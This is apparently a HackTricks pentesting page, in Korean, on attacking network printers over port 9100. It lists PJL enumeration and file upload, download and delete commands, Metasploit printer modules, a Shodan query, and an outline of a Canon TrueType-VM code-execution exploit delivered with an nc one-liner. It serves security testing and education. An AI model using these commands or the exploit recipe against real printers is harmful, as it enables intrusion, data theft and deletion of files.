9100/tcp - PJL (Printer Job Language)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
From here: Raw printing은 네트워크 프린터의 port 9100/tcp에 연결을 생성하는 과정으로 정의됩니다. 이는 CUPS와 Windows 프린팅 아키텍처가 네트워크 프린터와 통신하기 위해 사용하는 기본 방법이며 ‘프린터에 사용되는 가장 단순하고 빠르며 일반적으로 가장 신뢰할 수 있는 네트워크 프로토콜’로 간주됩니다. Raw port 9100 printing은 JetDirect, AppSocket 또는 PDL-datastream이라고도 불리며 실제로 자체적으로 인쇄 프로토콜이 아니다. 대신 보내진 모든 데이터가 인쇄 장치에서 직접 처리된다, TCP를 통한 병렬 연결과 마찬가지로. LPD, IPP 및 SMB와 달리, 이는 상태 및 오류 메시지를 포함하여 클라이언트에게 직접 피드백을 보낼 수 있습니다. 이러한 양방향 채널은 PJL, PostScript 또는 PCL 명령의 결과에 대해 우리에게 직접적인 접근을 제공합니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 raw port 9100 printing은 PRET 및 PFT를 이용한 보안 분석의 채널로 사용됩니다.
If you want to learn more about hacking printers read this page.
기본 포트: 9100
9100/tcp open jetdirect
열거
수동
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@PJL INFO ID # ID (Brand an version): Brother HL-L2360D series:84U-F75:Ver.b.26
@PJL INFO PRODINFO #Product info
@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 #List dir
@PJL INFO VARIABLES #Env variales
@PJL INFO FILESYS #?
@PJL INFO TIMEOUT #Timeout variables
@PJL RDYMSG #Ready message
@PJL FSINIT
@PJL FSDIRLIST
@PJL FSUPLOAD #Useful to upload a file
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
자동
nmap -sV --script pjl-ready-message -p <PORT> <IP>
msf> use auxiliary/scanner/printer/printer_env_vars
msf> use auxiliary/scanner/printer/printer_list_dir
msf> use auxiliary/scanner/printer/printer_list_volumes
msf> use auxiliary/scanner/printer/printer_ready_message
msf> use auxiliary/scanner/printer/printer_version_info
msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
프린터 Hacking 도구
이는 프린터를 악용하는 데 사용할 도구입니다: PRET
XPS/TrueType VM exploitation (Canon ImageCLASS)
-
PJL을 통해 XPS 전달:
-
@PJL ENTER LANGUAGE = XPS -
그런 다음 동일한 TCP 연결에서 XPS ZIP 바이트를 전송하세요.
-
공격자 폰트를 참조하는 최소한의 XPS 페이지:
<Glyphs Fill="#ff000000" FontUri="/Resources/evil.ttf" FontRenderingEmSize="12" OriginX="10" OriginY="10"/>
-
RCE 프리미티브 요약 (TrueType hinting VM):
-
TTF의 힌팅 바이트코드는 TrueType VM에서 실행된다. Canon의 VM에는 stack bounds checks가 없었다.
-
CINDEX: OOB stack read → info leak
-
DELTAP1: unchecked relative stack pivot → controlled writes with subsequent pushes
-
Combine
WS/RS(VM storage write/read) to stage values and perform a precise 32-bit write after pivot. -
Exploit outline:
- 위 페이지로 XPS를 생성하고
/Resources/evil.ttf를 포함시킨다. fpgm/prep에서CINDEX를 사용해 leak를 유발하고stack_cur를 계산한다.WS로 타겟 값을 스테이징하고;DELTAP1로 목적지로 pivot한 다음;RS로 이를 써서(예: function pointer에) PC control을 획득한다.
- Send over 9100/tcp:
{ printf "@PJL ENTER LANGUAGE = XPS\r\n"; cat exploit.xps; } | nc -q0 <PRINTER_IP> 9100
exploit.xps는Documents/1/Pages/1.fpage및/Resources/evil.ttf를 포함하는 유효한 XPS ZIP입니다.
Shodan
pjl port:9100
참고자료
- Hacking printers using fonts (Canon ImageCLASS TrueType VM bugs)
- Apple TrueType Reference Manual – Instruction Set and VM (26.6 fixed point)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

